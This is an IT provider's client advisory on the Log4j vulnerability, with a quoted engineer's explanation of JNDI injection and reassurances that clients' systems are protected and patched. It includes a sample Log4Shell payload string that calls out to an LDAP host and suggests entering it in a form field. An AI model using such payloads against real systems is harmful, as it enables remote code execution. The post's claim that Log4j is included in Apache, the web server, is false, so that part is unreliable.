What is the Log4j Vulnerability?

The Swiss Government released this infographic detailing the workflow of the Log4j attack and related remediation steps.

You may see in the news that there is a high profile vulnerability that is impacting many information technology systems this week. The Department of Homeland Security says it “may be the worst vulnerability yet.”

The vulnerability was found in the Log4j module which is a utility for creating log data that was written in the Java language. This vulnerability potentially allows hackers to trick the module, which is intended to write benign log files, into executing lines of code.

The reason this vulnerability is a major concern is because Log4j is included in Apache, which is the most popular web server in the world.

Here’s an in-depth statement from our Senior Security Engineer, Nate Miles:

As some of you might be aware, there is a massive vulnerability in Java based applications that leverage a module called Log4j. This module is responsible for providing logging functions based on whatever the app needs to log. The technical reasoning behind what is happening is how JNDI (Java Naming and Directory Interface) interacts and log4j parses log files. Anyone that is familiar with SQL injection will notice the similarities on what is happening. Basically someone sends a request to the affected website with an included text such as ${jndi:ldap://x${hostName}/code. A low tech way to send that data to a web server is to simply put that code into the username field of a form and submit it. Log4j writes that log to disk but since it has code included in the text it will actually execute it.

Any customer that has a Palo Alto firewall with a threat defense license configured is automatically protected. Any client that has Cortex version 7 or better is also protected.

Our Datapath security operations center has concluded that there is no indication of any exploitation of this vulnerability on any systems we manage.

Any potentially vulnerable systems within our scope of management have been identified and patched, as a result of around the clock efforts from our engineering and support teams.

Clark Beggs